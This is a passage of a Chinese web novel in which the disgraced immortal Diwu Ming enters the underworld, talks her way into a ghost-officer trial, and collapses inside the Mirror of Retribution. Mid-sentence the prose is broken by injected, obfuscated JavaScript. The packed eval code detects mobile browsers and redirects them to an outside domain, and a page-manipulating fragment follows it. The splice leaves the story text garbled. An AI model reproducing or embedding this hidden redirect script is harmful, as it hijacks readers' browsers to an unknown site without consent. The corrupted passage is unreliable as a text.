“白无常小七这鬼脑子怎么长的!!!居然自掏腰包给上君买茶酒!!!” “老兄,别生气,除了小七,还有一个傻孟婆,你也忘了吗?” “怎么会忘!我们守奈何桥的鬼差最惨了,每次上君一喝醉,就像只喜鹊,嘴都没停过,这孟婆倒好,每次都撒手不管,让我们去收拾烂摊子。耳朵都快聋了!” “搞错没有,你能不能好好说话,我们喜鹊怎么了?怎么得罪到你了?你要这样评价我们,我们鸣叫从来只为取悦自己,没像上君一样,非得拉一只鬼在她那里受罪…” “反正一样吵!” “吵?你…你们守桥鬼长得还丑…” “你这只臭喜鹊!” “烂…烂守桥的…” “吵架?你们在吵架?今天又吵什么呢?” 这是一名女子的声音,故作好奇,尾音总要拖上一拖,清脆地在通冥牌里回荡,继续道:“你们等等,我去牌子里翻翻,看看你们都吵什么呢?我来替你们评理…” “雨无伤…大人…” “孟婆…” “孟婆?” “孟婆!!” “怎么又忘了这一茬了,冥界地府里的魂命都在这里面…” 这只鬼差十分懊恼,他的魂命闪了闪,接着道:“小的还要去人间勾魂,就先退下了。” “大人,小的也有事…” “哎呀!我也忘了,我也还有差事…” “大人,小的也告退…” “…” … 雨无伤还没翻完通冥牌里的消息,重要的内容也还没看见,这群鬼差就要溜之大吉。 眼见鬼火一簇一簇快要熄灭了,她急忙道:“怎么又走了…你们…怎么又不理我。” 尴尬地将魂命闪了闪两把鬼火,在了无生机的通冥牌里,用第五茗教她的一则课言「自给台阶」,道:“算了,今日本官也还有事,不陪你们在这里面闲聊了。上君应该到奈何桥了吧?怎么还在路上…不会又诓骗了小鬼钱财,买酒去了?不应该啊,你们都不搭理我了,现在还能有小鬼愿意跟她一起吗?以前不是只有我吗?这算正常吗…” 通冥牌内,最后一缕幽绿鬼火也暗了下去。 喝酒果真误事,第五茗喝酒误了雨无伤的大事。 冥界地府此番整顿,开设了不少官职,雨无伤是一个没什么想法的鬼仙,本来想和第五茗商量商量,看看能不能换一个职位更高的,这样也方便为第五茗开后门,顺带她也能摆脱熬汤守桥的命运,没想到因第五茗醉倒在了鬼门关,雨无伤白白错过了一次好机会。 按理说,雨无伤的事情和第五茗没有关系,第五茗只需要不那么多事地继续入她的畜生道轮回就好了,她却没耐住好奇心,割破手指放了点血,查看了雨无伤之后的命数。 不看倒好,这一看,倒是看见些不该看的…雨无伤因为此次机遇错失,此身只能困守在奈何桥,且还会有一次大命劫,若是渡不好,她就此化为齑粉倒是小事,整个冥界地府还都会因此受到牵连。 第五茗入畜生道前,对雨无伤苦笑道:“你信命吗?” 雨无伤反问道:“我也有命?” 第五茗道:“有,大家都有…” 她长叹一息,道:“你是天生的守桥命,而我是天生的受苦命。” 雨无伤盯着眼前这位前任司命,一个曾掌管飞升命数的仙君,似懂非懂地求助道:“我该信命吗?” 第五茗道:“我不知道…” 雨无伤道:“那你信吗?” 雨无伤想起饶笒给第五茗写的那些地狱道命数,后面还不都是被她改成其他道的命数了,瞬间有点怀疑,这世间真的有「命」吗? 可刚刚第五茗说的话又是什么意思… 她十分困惑。 这时,第五茗笑了起来,坚定道:“不信。” 雨无伤虽困惑,却也没有探究的意思,得了答案,依葫芦画瓢,附和道:“那我也不信。” 第五茗突然眼神飘忽不定,一丝犹豫闪过,胆怯地问道:“那十七人…可有从奈何桥走过?” 雨无伤不懂为何第五茗每次入轮回,都要问一句那群人——一群第五茗趁饶笒不注意画下的十七幅年幼小人画像。 幸好身为孟婆有查看鬼魂一世容貌的能力,不然就这群还在变化的青涩面容,死了这么久,从奈何桥过都不知道该是什么模样了。 雨无伤摇摇头道:“没有。” 第五茗开心笑起来,看着雨无伤,一扫阴霾道:“不信,雨无伤我不信命。” 雨无伤道:“嗯,我知道,你刚刚说了。上君…按命格簿子上写的,你该入轮回了,不然来不及在人界降生,命数不及时去…历,你就又得放血。” 第五茗道:“哦…好,我马上走。” 在这段时间,冥界地府又又又又发生了一件大事! 新官上任三把火,新任东岳大帝执掌冥界这把火却是一直在烧…整个冥界地府彻底发生了翻天覆地的变化。 先是求请地藏王菩萨长驻冥界,渡恶魂心灵,缓解冥界滞留鬼魂,送其轮回,为三界平白无故增添不少事情。 又降任酆都大帝,统领五方鬼帝,十殿阎王,把本来一言堂,各界都能插手的冥界地府弄成了明镜高台。 最后还设立六案功曹:轮回司、阴曹司、判官司;开设十大鬼差之位,阴鬼使、拘鬼使、妖冥使,捉拿勾取阴间小鬼,人间死魂,动物魂魄。 从此冥界地府分工明确,各司其职,杜绝了徇私舞弊,还因为职位开设,让冥界变得兵多将广。 天界又气又恼,却无可奈何,只能逢冥界相关之事,便派仙君下去见缝插针参和儿,权权将主动权掌握在天界手中。 第五茗早已没有仙职,这些大的变故,如今对她来说,也就是一个谈资,听了就算了,算了就过了,笑一笑,便忽略过去了。 未曾料,正因这一局势改动,她成了利益既得者。 61. 入鬼门关为做鬼1 好处之一,便是地下有再多小动作,天界都不能插手管教。 身上金辉隐匿,第五茗入了鬼门关,身影消失,独留那傻里傻气的仙君,胸膛剧烈震动,嘴角鲜血溢出,笑颜逐开道:“上君,你修出魂命,我就有办法了。” 刚刚两人之间的大动作,守门的牛头马面并不清楚其中过程,他们送第五茗进鬼门关之后,再回头,就看见这边仙君的脸色不太好。他们担忧询问,结果人家直接手袖一挥,散出一个诀,也从鬼门关入口消失了。 过结界后,便是第一殿的殿外,也就是在鬼门关外看见的那第一层殿宇。 与鬼门关的热闹相比,第一殿的殿堂要冷清得多。 这里,小鬼依旧不少… 或靠坐,或三五一堆,或躺卧,或倚站…一副疲惫不堪,百无聊奈的模样。 第五茗刚进来,听见第一殿审判手捧名册,叫唤她的名字,道:“蒲小明可在?” 她穿过鬼群,抬手举袖,朝审判晃了晃,应道:“在的在的…审判,我在这里,左边…你再往左边看看。再往左边来一点…我面前有两只躺地上的小鬼,一大一小…还没看见吗?” 声音不小,地上两只小鬼仰头望了她一眼。他们瞧见第五茗大同小异的丧气脸色,嘴都没张,又躺了回去,不过,却是收敛了一些大张的姿势,让第五茗的身影在鬼群里更加明显。。 穿过鬼群,瞧见第五茗后,第一殿审判眼睛瞪大,道:“上君,真是你啊,我还当通冥牌内在开玩笑呢。” 他合了册子,撺使两名鬼差出来给第五茗开路。 鬼差出迎。 这段时间,第一殿的鬼魂只在天上的仙君来此地时见过,纷纷猜测第五茗身份不一般。 这么大阵仗,方才躺回去的两名小鬼见状,噌的一下站了起来,想趁机沾碰点什么,结果两人错过了时机,还未同第五茗说上话,走来的两名鬼差,一人一掌,把他两人推开了。 在一群鬼的羡慕下,第五茗尾随两名鬼差,垫起脚,七晃八拐,终于走到了第一殿最上方的审判台。 第五茗喘息道:“鬼还挺多哈…” 第一殿审判没有接她的话进行寒暄,抱手一礼,照例问道:“上君,此次身死,可有感悟?” 话问了上千次,连后来的鬼差听了第五茗的事,都对她能重返天界不抱任何希望了,唯独得了各方压力的第一殿审判,每次会将这事再问上一遍。 鬼差眼光冷淡地,在审判台下的群鬼身上流转,仔细把控此间的局势。 只见第五茗果不出所料,摇了摇脑袋,道:“尚无感悟,也未历劫成功,又劳审判记挂了。” 哗啦~第一殿审判手中的册子纸张翻动,停在了「蒲小明」那一页。 审判核对道:“上君,你阳寿还未尽了,怎么会回来呢?可是此世出了纰漏?” 埭骰埭桡犯的错,在城隍和土地那里还挺好解决,若是落在审判这里,以铁面无私著称的十殿审判,自然不会轻放了两无常的过错。 想起埭骰埭桡为人还算厚道,错处也情有可原,第五茗心中一计,揽责道:“风雨江出了这么大的事,听说你们在征召鬼差,便央了无常带我下来瞧一瞧…” 须臾,第五茗表明心意道:“我想去过十殿试。” 闻言,第一殿审判和两名鬼差都神色大惊,还是审判先回了神,实话实说道:“上君所求,下官往日做不得主,如今照样还是做不得住,还请上君移步后殿,问问我们殿下吧。” 第五茗道:“好。若是审判现在得空,先领我去见殿下吧,这事我挺急的,我瞧冥界地府也应该很缺人手。” 第一殿审判在两名鬼差耳边吩咐了一阵,便在前方引路,带着第五茗去了审判台的石屏后。 冥界地府的十层阎罗殿,和那左腿子街的店铺有异曲同工之妙,建造时,第五茗同样给过意见。 当时主事的小鬼想要省工省事,她便建议修建时不用特别构思,修成相同的模样,不仅十殿殿下不会攀比起争执,后续若是十殿殿下不喜欢,还可以根据自己的喜好,进行装点。 谁知,十殿殿主,虽长得人模人样,衣冠楚楚,却是十足的‘糙汉子’,在这种事上懒得要命。 殿宇完工之日,他们根本都没去过其他几人的殿宇瞧一眼,更别谈生攀比之心。第五茗还在想,那足不出户的几人,可能到现在都不知道其他人的殿宇,和自己的这座是一模一样。 事后想想,第五茗觉得当时给小鬼的建议真的有失妥当。 十殿殿堂没有内境,对从不出门的十殿殿主来说没什么,但对于常年去往各殿小地狱受罪的——比如像第五茗这种人来说,周遭的景色总是大同小异,就属实有点乏味了。 好在不幸中的万幸,办事的小鬼是一个多心眼的,修造之初,便没有打算交付一套‘清汤寡水’的殿宇给几位殿下,不然…还指不定会把游走各殿的小鬼憋出什么病来。 话说回来,那小鬼技艺了得,喜好却有些一般。 致使十殿殿堂看起来有些俗… 光线不足时,显得非常阴森。 光线太足时,又让整座阎罗殿看起来不像是恶鬼该去的地方。 从结界入口进来,是正殿殿堂。 金砖铺地,银粉镶缝,彩色晶石做灯,蛟龙尸骨为顶,棺材垒砌成墙,那棺材头上还刻了浮雕。 也不知道是不是那小鬼为了展示技艺,殿内棺材墙中,一方棺材头上面便是一小鬼前身事,宛如把命格簿子上的一则故事画了下来,栩栩如生,活灵活现。 若不是当时第五茗也在地府,还偷摸探过小鬼命数,她都要当小鬼是东岳帝君转世了。 如今,因为风雨江之事,这些棺材墙前面码放了许多供小鬼休息的尸瓮,加之天界仙君要来一批,不想丢面,十殿算是上了一回心,差使鬼差们打扫装饰了一番,所以瞧着还算不错,少了几分恐怖,多了两分热闹,和人味。 继而来到殿堂深处,就是刚才第五茗和审判站的审判台,那是平日里审判办公的地方。 堂下通常会列站鬼差和牛头马面候命。 绕审判台进来,便是鼎鼎大名的阎王判罚殿。 一般小鬼不会走到此处。 像第五茗这种寿命出了问题的,或是上面来的受罚仙君,再或者穷凶恶极的小鬼厉兽…这些人,才需要再入判罚殿,由阎王来定夺接下来的去处。 十殿的判罚殿也几乎相同,十个地方,十种差不多的格局。 绕石屏进来,能看见一方高台,高台上没有案桌,只有一座又长又高又宽的石榻,上面铺满了毛皮。虽是榻,却是极其的震慑人心,榻栏上装点的饰物,全是小鬼雕刻的兽头,还是专门择了上古那些吓死人的恶兽图样。 各殿殿主一般就坐于上方执令。 高台后,无声又骇人的画面,是各方幻显出的小地狱之景。 十殿之中,第一殿又比较特殊,只负责小鬼去留,不做赏罚,故而,高台后方是一面镜子,一面可照小鬼身,不留万物影的镜子。 第五茗在镜上的影子,越来越清晰,她心中有说不出的畅快,嘴角微翘,直到一道声音,扫了她的兴致。 那声音道:“还没瞧够吗?就不知道这鬼身有什么好看的,上君每回来,都看得痴。” 和过往几万年里一模一样的答复,第五茗道:“贺仁殿下不懂,女子都喜欢照镜子。” 第一殿殿主贺仁端坐于榻上,见审判领进来的是第五茗,挥手收了身上那身特意用来唬小鬼的雄武装束,换了一套慵懒长袍,脚上的兽爪也一并给消了,锦丝玉带绕踝,赤足踩在了地上,一手梳理长发,一手摘下脸上凶残横暴的面具。 姿态随意惺忪,他亲近道:“上君,你这阳寿未尽,为何到冥界地府来了?” 第五茗笑了笑,道:“还不是风雨江发大水,肉身都给我毁了,我也没办法,只能来地府了。” 闻言,审判愣了下,这和适才他听到的话可不太一样。他稍稍捉摸了一下,忽而就想通了,他与第五茗的关系,哪堪比贺仁同第五茗几万年的亲近。自然第五茗同他就该只谈正事,与贺仁当有一份老友相见的调侃,再徐徐图之。 审判很快镇定下来,候在一旁,未多言多语。 贺仁替第五茗叹息一声,面上却明眸皓齿,笑道:“那上君是又历劫失败了啊?” 第五茗含笑道:“哎,我也没有办法。” 贺仁状若无奈,摇头道:“若不是清楚上君情况,还真得误以为上君赖上我们冥界了。” 第五茗讪讪道:“怎么会。” 她弯腰捡起一根白森腿骨,指了指判罚殿左侧的白骨树,向贺仁做出邀约,先一步朝那树边走去。 十殿各有一颗白骨树,是受罚小鬼们奉上来的东西组成。 一般走到这里的恶鬼,从袖子里都掏不出什么奇珍异宝,除了那一副腐烂完肉身的白骨。 十殿殿主便也就收了他们敬奉上来的骨头。 久而久之,殿中人无聊的时候,就把白骨垒了起来,慢慢地,白骨越码越多,垒成了一颗树。 十点殿主喜好各有不同,贺仁只收长骨头,尤其偏爱腿骨。 第五茗在白骨树上找了一个缝隙,将手中的那根腿骨死劲儿往里一塞,正好,给白骨树挂了一个短枝丫出来。 她望着拔天倚地的白骨树,叹道:“可惜了,我肉身给火烧没了,不然两根腿骨都送来赠与殿下。” 贺仁抱了一捆腿骨过来,递了一根给第五茗,道:“上君的腿骨本君可不敢收,上君帮我插好看一些就可以了。最近天上要来几人,到时候可不能叫他们见了嫌弃。” 第五茗白了贺仁一眼,拿过腿骨,继续沿刚刚那一根往外搭接,吐槽道:“贺仁殿下,你们几人就不能种种花,养养草吗?这东西…总归是不好看。” 贺仁抬头赏了一眼,道:“本君觉得挺好看的。” 接着,他眼中有一丝暗色,垂眼遮下,道:“再有…不是人人都有东岳帝君那本事,他能在黄泉路再种彼岸花,我们几人可不见能够养得起活物。” 听到“东岳帝君”的称号,第五茗心头一热,怀里的通印跟着也震了震,她抬手在胸口按压了下去,面热道:“是吗…” 立马,她挑眉道:“我觉得殿下说的话还是有一定道理,冥界地府也不是非得样样照搬天界和人界,像各方都种花种草,看久了,多腻啊,还不如这白骨树,多看两眼…不喜欢拆了重搭,或是根据自己心意装点一番,也是极好啊。” 一递一插,第五茗帮白骨树长出了一个新的枝丫,且还用小腿骨,她挂了些摇晃的‘叶子’出来。 贺仁退后两步,赞叹道:“上君的话有道理,插出不同花样来,是比千篇一律的花花草草好看。不过还是上君这手艺好啊,上君每次来…本君这树便又要好看两分。” 第五茗手在衣袖上擦了擦,正声道:“贺仁殿下,白骨树弄完了,议正事吧。” 贺仁点头赞同,手上掐算时间,道:“好好好,说正事。上君还有二十五年阳寿,接下来如何了事呢?游荡在外?” 他提议完,偷偷打量了第五茗两眼,笑着蹙起眉,状似忧心,道:“恐上君会沦为孤魂野鬼,最终仙体不保,魂飞魄散。此路不妥啊…” 他又提议另一条路道:“不如上君待在地府里?反正二十五年,眨眼即瞬,但…本君及其他几殿最近都要和天上来的仙君,一起处理风雨江幽魂一事,这好像也不妥…” 最后,他轻笑,替第五茗为难道:“让上君重新去投胎,可能不是妥不妥的问题,上君这二十五年的命数还没完,应当是走不到下一世命里…” 第五茗瞧贺仁脸上那一副什么都知道的表情,轻哼了一声,手掩嘴唇,咳嗽打断他的话,道:“咳咳咳,贺仁殿下不用忧心,我入鬼门关时就做好了打算,这二十五年人寿,想向冥界地府讨一个鬼差做一做。” 贺仁眼中精光一闪,微眯眼,摇头道:“不行…上君怎么能又打这个主意呢。” 殿中审判和鬼差皆是一惧。 有惧第五茗来抢饭碗的,有惧贺仁如此干脆拒绝的,还有惧第五茗成不了鬼差,又继续入六道的…更有惧第五茗成了鬼差,万一和他们做同僚的。 第五茗与之前在第一殿里耍无赖时不一样,这一次她是占理的,她问道:“怎么就又不行了?” 贺仁还是原先的借口,道:“你是上君,是天界的上仙。就算本君同意了,上君如今这身体能过十殿试?若是上君毁在十殿试了,那本君及其他殿不得担责?” 第五茗眼神幽怨,不接受贺仁的这些话。 贺仁脚下走动道:“退一万步讲,就算其他的都可行,也行得通,可上君想过没?本君把上君名讳报上去,那帝君会同意吗?” 第五茗呢喃道:“或许…帝君他会同意呢。” 贺仁揉耳靠近,询问道:“上君在嘀咕什么呢?听不清…” 第五茗昂起头,道:“殿下,有一点你错了,不是我要去应征鬼差,是还有二十五年寿命的凡间人魂蒲小明想来。” 她眨了眨眼,示意这事有回旋的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649910|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 余地。 贺仁顿住,心道:糟了!!忘了!这上君在冥界地府待了这么久,太熟悉地下的规章制度,此番倒让她抓到了漏洞。 好一会儿,他犹犹豫豫道:“还是不行…上君你得历劫,回归仙位。” 对面的踟蹰,第五茗都看在眼里,知道贺仁这回阻止不了她了,得意道:“我就做二十五年鬼差,享二十五年自在日子。殿下…二十五年凡间阳寿,一眨眼就过去了,我这劫难一时半会儿也渡不完。殿下你考虑考虑一下我呗,现在冥界地府不是正缺人手吗?我好歹以前也是司命殿的真君,和你打过的交道也不少,你看我两这关系,每一回来,我都帮殿下整理你这白骨树,任劳任怨,尽心尽力,我如果能上任,肯定也会全心全力,为冥界分担责任的。” 第五茗说着就边动手动脚上,她本想拉贺仁的袖子,学凡间人示弱的模样祈求一番,谁知,这反常的动作,把对方吓得急忙躲避,跌了下去。 还好,贺仁反应及时,捏了一个诀,人‘砰’一下栽进了榻上的皮毛中。 当人从皮毛中钻出头来的时候,第五茗已经坐到了榻边,嘻嘻笑道:“贺仁殿下,你这榻上皮毛也放得太多了,你不穿那身熊装,人埋在里面都有些找不着…我的事情你再考虑考虑呗。” 她一边巧言令色地说话,一边动手帮贺仁拿掉身上一层又一层的皮毛。 霎时,贺仁脸色涨红。 第五茗脸上一愣,原是她拿皮毛时,手中不小心扯走了贺仁的外衫,她屁股着火了似的,站了起来,想了想机会难得,又挪了回来,看着榻上的人,就如今这副场景道:“贺仁殿下…除开我的事,此时,我还有一言,不知当不当讲。” 贺仁双手撑在榻上,内衫宽袖半撩,身子扭转,双腿交叠松开,长袍轻掀,四肢净露。 他脚上的丝带散乱纷飞,他又不自知地以妖娆之姿从榻上站了起来,掏出夹在毛皮中的外衫,当众人的面,穿了回去。 一副伶人事后的局促样… 他瞥了一眼快笑疯了的第五茗,尴尬道:“不当讲,不用讲。上君心里就没装过好墨水。” 贺仁埋头整理本就松松垮垮的衣衫。第五茗笑得久了,声音有一些干渴,道:“不当讲那就不讲了。与殿下自然只能议正经事,现下殿下的模样的确看起来不像是正经样,议不得,议不得…我的事就比较正经,还请殿下同我议议吧。” 贺仁面色羞红,低头看了一眼身上,着实浪荡。 他搂了搂衣衫,指上法术一点,把脚上凌乱的带子从小腿上拉了下来,在脚上缠好。 他镇定下来后,一本正经道:“上君有所不知,冥界的官职没有什么好的了,都是些地方上常缺的无常、鬼差之类,是些小差职…若是上君修出魂命,不好叫上君委任啊。” 第五茗兴奋道:“无常好啊,小鬼差就更妙了,来往人间冥界两地,逍遥快活,好不自在。我不嫌弃,殿下要不让我试试?” 贺仁再找不出一条合适的理由来拒绝,他绕判罚殿走动,离第五茗数丈远,来到审判和殿内鬼差面前,目光暗示,道:“你们觉得呢?” 凡人云:看不懂上官脸色的下属,还不如不要!否则是自讨没趣!! 然而,冥界地府的的鬼差,却个个都是看不懂脸色的… 一旁站候的审判,接收贺仁的眼神,上前拱手一礼,搭话道:“殿下,不妨让上君去试试。上君还有神格在身,与地府气韵相悖,上君不一定过得了测试,与其我们再相劝,不如让上君自己去瞧一瞧,到时候上君自会知难而退。” 牛头抱手,粗气喘喘道:“殿下,你就不用担心了。上君去一次,她以后便不会心心念念了,省得您每次都要和上君周旋许久,最后,上君心里还生怨怼。” 马面赞同道:“殿下,要不先报上去再说嘛,指不定上面不会同意呢。” 几人声音都不小,牛头马面粗声粗气,话落音却还在殿内飘荡。 这几人看似在帮贺仁说话,实际上都是先把第五茗的意图往前推了一步,贺仁脚下顿蹙,面色暗沉,一副要吃了小鬼的神情,审判殿内的其他几人才住了嘴。 第五茗笑嘻嘻地走了过来,道:“殿下…我觉得,他们言之有理。殿下不如考虑考虑让我先去试试?指不定就不行呢?” 执拗不过,又找不到借口,还遇见这么一帮坏事的,贺仁心中无奈长叹:天界次次都来人催,东华帝君催了,雷部将帅催,还有些小童小仙也来催…上君你倒好,还真赖上我们了。 他妥协道:“好吧,上君既然执意如此,那本君便为上君上报名册。” 第五茗揖礼道:“多谢殿下。” 正常来说,十殿呈报给泰山仙府的文书,一般都要四五日才能有回信。 殿内整理一日,差役派送一日,泰山仙府审批一日,遣送回来一日,通报结果一两日。 可是此次却有些不同,贺仁笔下刚刚将「蒲小明」的名字登上名册,泰山仙府东岳帝君身旁的近侍,便登上门来,客套地索要了近日需要交于复核的文书。 于是,第五茗应征鬼差的报名册一并交付在了其中。 不过一炷香的时间,贺仁又见到了刚离去的那名近侍,以及那份才被送走的应征名册。 今日,这批文书去得快,回来得也是真快啊! 在第五茗的催促下,贺仁坐在榻上,幻了一张小桌子出来处理公务。第五茗半边身子倚在榻上,大杯大杯饮起茶酒,偶尔侧头偷瞄贺仁一眼,和对方手中的那本应征鬼差的报名册。 贺仁双手在小桌子上敲了敲,腹语嘀咕道:“上报的时候名字写错了吗?怎么会是上君的本名呢?” 那本册子,通过批许的一列名字中没有「蒲小明」,却赫然写了「第五茗」三个字。 审判从外间走了进来,手上捧了一堆由东岳大帝刻命的通冥牌。 贺仁拿过来,挨个挨个注入法力探瞧,十几人的通冥牌里,他没找到魂魄「蒲小明」的气息,而其中却不出所料,有一块带了「第五茗」仙体气息的通冥牌… 他心中顿愕,那报名册上的名字不是他眼花,还真是「第五茗」顶了「蒲小明」。 一旁,审判没有立即退下去,犹犹豫豫张了嘴,将转交通冥牌那近侍离开前特意嘱咐的话,复述给了贺仁,道:“殿下,上官离开时,特意交代…今日所有下达的文书和物品,均由帝君本人复审了两遍,让第一殿尽快执行下去,不要过多耽搁,以免误了这当中重要的事。” 贺仁呢喃道:“帝君今日这么闲?他能亲自复核两遍?” 62. 入鬼门关为做鬼2 审判答道:“不清楚,不过听说此次风雨江之事,帝君好像也会一起入地下。入鬼门关的小鬼来报,已经有一群仙君在野鬼村了,想来今日文书来返这般快,说不准是帝君也到了那里…” 贺仁看着面前这堆刚送出去,就折返回来的文书,苦闷道:“倒是有可能。” 第五茗坐在一旁,两人的对话她听了一耳,喝下瓶内最后一口茶酒,主动搭腔道:“风有情今日一大早就到了,至于你们说的帝君…应该是在的。” 她的声音让贺仁眉眼一紧,想起审判话中最后一句“不要过多耽搁,以免误了这当中重要的事”,心道:一堆日常文书,哪有什么要紧的,除了眼前这非要做鬼差的上君外… 突然,他视线在那份报名册和注入命格的通冥牌上流转,他嗅到了一丝秘密,一时忘我,入了神。 第五茗没有茶酒解闷,失了几分耐心,手在贺仁眼前晃了晃,见人当着她的面走神,指尖在小桌上叩叩叩数击,唤道:“殿下,殿下?名册上可有我的名字?殿下…殿下!” 审判轻拉贺仁,也唤道:“殿下,上君叫你呢?” 动作小小的,贺仁没有反应,猛地,审判一掌推出去,把贺仁不稳的身子按在了小桌子上。 霎时,周遭一阵静谧,贺仁却回了思绪,抚揉额头,俯起身,习以为常道:“怎么了?发生什么事了?” 审判收回手,抿唇嗫嚅道:“殿下…上君叫你好一会了。” 这种‘以下犯上’的事,在冥界地府第五茗早见怪不怪,紧着自己的事,道:“我想看看有没有我名字…” 她手撑小桌,脑袋凑向了报名册。贺仁条件反射地把名册合上了,严肃道:“上君逾越了。” 第五茗回正身端坐,双手缩进袖中,尴尬地搓了搓,她没瞧见贺仁的紧张,赔礼道:“是我过了,一时忘乎所以。殿下,抱歉哈,失态了。” 贺仁意味深长地瞟了第五茗两眼,从榻上站起身来,拿起桌上一块通冥牌递给审判,对第五茗道:“上君请吧。名册里有上君的名字,上君可随我们来,行一殿的心境测试。” 第五茗站起身来,紧张吞咽道:“是去孽镜台吗?” 贺仁点头道:“嗯,入孽镜台测心境,方能知晓上君能否修出魂体。” 一前一后,两人跟随审判朝孽镜台走去。 孽镜台就放在通往下一殿的梯道口处。 梯道非寻常楼梯,那连接两殿的梯道,看似是向上行,其实是障眼法,小鬼在上面抬步上行,只会让小鬼在上面越走越深,越走越没有意识,越走越低,离深渊的十八层地狱更近。 小鬼们给这梯道取了一个不怎么好听的名字——上行下沉梯。 梯道不寻常,孽镜台就更玄乎了。 孽镜台外表像一座两人高的小山,小鬼靠近,所行所思所想,会立即在千边万面中显露无疑。 三人靠近孽镜台,小山上映照出了千万幅三人的身影。 第五民脚下迟疑,玩笑道:“我身子弱,还身负神格,殿下你说说,我会不会命丧在孽镜台呢?” 贺仁道:“有可能,我建议上君还是别去了。” 没想到贺仁会这么说。第五茗嘻嘻笑,尴尬道:“机会难得,我福气也难得,殿下的建议留给其他人好了,是我多问了。” 审判将手中的通冥牌放进了孽镜台中,那小山上便只剩下第五茗一人的身影,慢慢地上千万的碎小镜面渐渐地融成一块。 仙入孽镜台,可除去神格上的浑浊,洗涤灵台。 鬼入孽镜台,能看前世今生的心中阴影,直面死后执念。 测试启动,贺仁脸色板正,挑问了神明入孽镜台内时都会害怕的一点,踟蹰道:“上君有心瘴吗?” 无数的「第五茗」逐渐变少,直到那小山变成一面镜子,上面只有一抹身影,第五茗胸口刺痛,莫名地对孽镜台有了一丝恐惧。 她答道:“不知道…我不知道自己有没有。” 顿了,她不自信道:“或许有呢…” 进而,她又自我宽慰道:“或许,也没有。” 贺仁眼眸微眯,道:“有也无妨,想想过往被迫入内的仙君,上君同他们不一样,你还有机会,还可以再抉择一番。” 第五茗呢喃道:“我还能自己再选?” 贺仁当第五茗的发问是在同他开玩笑,邀约道:“自然。现在,上君就可以做决定了,是否要继续入孽镜台?” 镜面已成,只待入人。 自古都知,小鬼修魂命,从鬼仙奔上仙之位,极为不易。他们却不知,上仙向下修行也是极其的难。难点就在于,仙君和小鬼不一样,小鬼能坦然面对心中欲念和不堪,却没有多少仙君能轻易承认神心仍有执着。 第五茗回身抱手作揖,道:“今日的茶酒格外清甜,多谢殿下款待,待我从孽镜台出来,定要回请殿下一壶旗鼓相当的。” 贺仁回礼道:“上君美意,本君恭候,倒是希望能尽快一品。” 第五茗快意道:“好。” 她转身迈入了孽镜台。 第一日,冥界地府,第一层审判殿内,贺仁同一众鬼差还能看见第五茗在孽镜台里瞎转悠。 过了一晚…守在孽镜台前的鬼差大声惊呼起来,“糟了糟了,上君昏过去了!!” “怎么回事,她不是仙君吗?” “据说,入孽镜台…是仙君身才更危险。” “是吗?情况是有些不妙…” 审判凑近看了看,瞧见三面镜子在拉扯第五茗,让她半悬了身子,心道不妙,急忙跑去寻贺仁过来,一边跑,还一边大声吼道:“殿下!殿下啊!!上君这不像是小鬼身…” 贺仁刚走到孽镜台前,脚下一软,大呼道:“骗子!上君什么时候也学会骗人了!!这他大爷的居然藏了三道心瘴在神格里…她如何能活着走出来…” 众小鬼禁声,唯有审判还敢上前接话,道:“殿下勿急。” 贺仁不安道:“怎能不急,此刻想想…先前上君入镜时会那般发问,想来一早就知道自己有心瘴了!” 审判看不懂,也没听懂,只知道孽镜台在他们的权限范围中,是唯有小鬼身才能入,疑惑道:“殿下,上君这样很危险吗?” 贺仁焦急地踱步道:“这岂止是危险,这根本就是不要命了。” 一众鬼差心里不解,面上却因贺仁的紧张,颤了颤,齐齐感叹道:“哦…好危险啊。” 审判道:“殿下,要拔了通冥牌吗?” 贺仁犹豫了一会儿,叹道:“上君苦头都吃了,再等等…她实在顶不住,我们再把阵法撤了。” 由于第五茗入孽镜台之事出现了异数,贺仁心慌意急,处理公务做一件事错一件事,他干脆彻底丢了手上的事,亲自守在孽镜台前,注意里面的瞬息变化。 第三日,拉扯第五茗的三面镜子锁得更厉害了。 贺仁两眼乌黑,饮下两口审判奉上来的茶水,喘息道:“风真君一道心瘴出来都半死不活,上君啊…你这样的,就算出来了,哪还有能力去做鬼差嘛,连修养身体的时间都不够了,早知今日,何苦当初要早死下来呢,在上面做做人不好吗?!!” 三面镜子的威力,第五茗身体应该是难以承受了,她眉头紧锁,身体发颤… 与此同时,孽镜台内,从她身体内迸发出一圈护体金光。见状,在侧围观的牛头马面七嘴八舌讨论道: “那是仙君们的护体金光吗?看起来也没那么吓鬼。” “真厉害,上君方才还皱眉,这会儿瞅着就舒坦了。” 孽镜台旁,一只憨憨的牛头,回忆起往日小鬼们的第一殿心境测试,道:“这不是一殿试吗?还可以提前备护体金光…我记得其他小鬼都不能这样做的。” 牛头左前方,一只瞎眼马面,撂嘴皮子附和道:“殿下!上君作弊。” “对对对!作弊了…” “还真是作弊了。” 这群鬼差啊,心智欠缺,眼力见也不太好,没看见贺仁脸上的欣喜。 贺仁摇头叹息,批评这群不懂事的鬼差道:“你们懂什么,上君如今能通过测试走出来,她就是打十次小抄也无妨!你们就感恩戴德吧,她作弊,说不定是保了咱们一命。” 他心里清楚,是应征名册上的猫腻,导致了第五茗以神格躯应鬼差试。她假使未做准备便以上仙命向下修行,艰难异常的就不是她了,而是这第一殿的所有人。 原因很简单…若是第五茗出了差错,赔在了冥界地府,走不出来,九重天中丢失一副神格,天帝清算起来,他们第一殿所有人就成了戕害仙君的凶手,算是犯了天条,将来必定是死无葬生之地的结局。 众鬼差们不懂,他们依贺仁的情绪喜悦而喜悦,纷纷在孽镜台前替第五茗祈祷。 第四日,第五茗照样没有醒过来。 第五日,那一层护体金光越来暗,越来越淡,直到深夜里,贺仁和一众鬼差打瞌睡的时候,孽镜台内爆出一声巨响。 第五茗的护体金光碎了。 孽镜台前贺仁和那群鬼差跌坐在地,做好了替第五茗收尸的准备,结果,第五茗身上又冒出了一层薄薄的金光。 